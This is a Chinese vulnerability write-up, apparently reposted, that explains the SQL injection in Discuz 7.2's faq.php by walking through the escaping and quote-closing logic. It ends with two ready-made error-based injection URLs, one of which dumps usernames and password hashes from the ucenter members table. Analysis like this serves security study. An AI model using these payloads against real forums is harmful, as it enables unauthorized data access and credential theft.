Discuz 7.2 faq.php漏洞分析
来源:互联网 发布:mysql派生表查询 编辑:程序博客网 时间:2024/05/24 07:24
漏洞发生在页面faq.php中,源码如下:
elseif($action == 'grouppermission') {ksort($gids); $groupids = array(); foreach($gids as $row) { $groupids[] = $row[0]; } $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")");
这段话的意思是在首先针对数组$gids按照其关键字进行升序操作,然后取变量数组$gids中每个关键字的值的第一位$row[0]存到$groupids数组中,之后使用implodeids()函数生成一个字符串带入sql查询语句中。
这里每当我们输入一个$gids参数时,都会默认进行转义操作,即如果我们输入单引号',那么存储的最终数据为\',但是他每次都会只取出数组中的第一位值,即此时的$row[0]=‘\’,这时会把\取出来放到$groupids数组中。
假设输入单引号后的$gids数组的值是{'1','\'','3','4'},然后我们取其第一位值放到$groupids数组中,此时$groupids={'1','\','3','4'}。
然后我们开始看implodeids()函数,在global.fanc.php文件中
function implodeids($array) { if(!empty($array)) { return "'".implode("','", is_array($array) ? $array : array($array))."'"; } else { return ''; }}
就是把数组各个数组使用','连接到一起。
那么$groupids经过该函数之后就变为'1','\','3','4';
此时就出现了问题,因为第四个单引号由于左边右斜杠\的存在强行被转义为单引号字符,不会再与第三个单引号闭合,此时第三个单引号将与第五个单引号形成闭合,3位置就会出现逃逸,此时构造3位置为payload即可形成注入。3处输入右括号与前面进行封闭,然后and+一个新的查询语句即可。
此时payload可写为:
http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]='&gids[81][0]=) and updatexml(1,concat(0x7e,(select @@version)),1)%23
http://127.0.0.1/dz/faq.php?action=grouppermission&gids[80]='&gids[81][0]=) and updatexml(1,concat(0x7e,(select concat(username,0x7e,password) from ucenter.uc_members)),1)%23
- Discuz 7.2 faq.php漏洞分析
- discuz 7.2 faq.php sql注入的一点研究
- Discuz 7.2漏洞入侵图解
- Discuz 漏洞
- 【discuz x3】space_notice.php分析
- 【漏洞分析】Discuz X3.3补丁安全分析
- Discuz! 7.2的一个XSS漏洞
- Discuz! admin unwizard.inc.php 漏洞利用(Get Webshell)
- Discuz!!论坛wap功能模块编码的注射漏洞分析
- php远程执行漏洞分析
- Discuz代码分析——index.php
- discuz form.php页面的分析
- Discuz的forum_index.php文件的分析
- discuz 4.0.0 漏洞
- Discuz x2 XSS漏洞
- [漏洞分析] Smart PHP Poll认证绕过漏洞
- PHP FAQ
- php FAQ
- BZOJ 1625: [Usaco2007 Dec]宝石手镯
- Mysql-TREE实现
- 112. Path Sum (二叉树)
- Linux下使用make工具与库
- 最长上升子序列(LIS)(DP练习)
- Discuz 7.2 faq.php漏洞分析
- lecene第四天总结篇
- String、StringBuffer、与StringBuilder的区别
- [bzoj1492][cdq分治][斜率优化][NOI2007]货币兑换Cash
- C++primer 阅读笔记---------------动态内存
- HDU 2089 不要62(dp)
- 2017 08 20 小结
- 字符串游戏
- 各大刷题网站OJ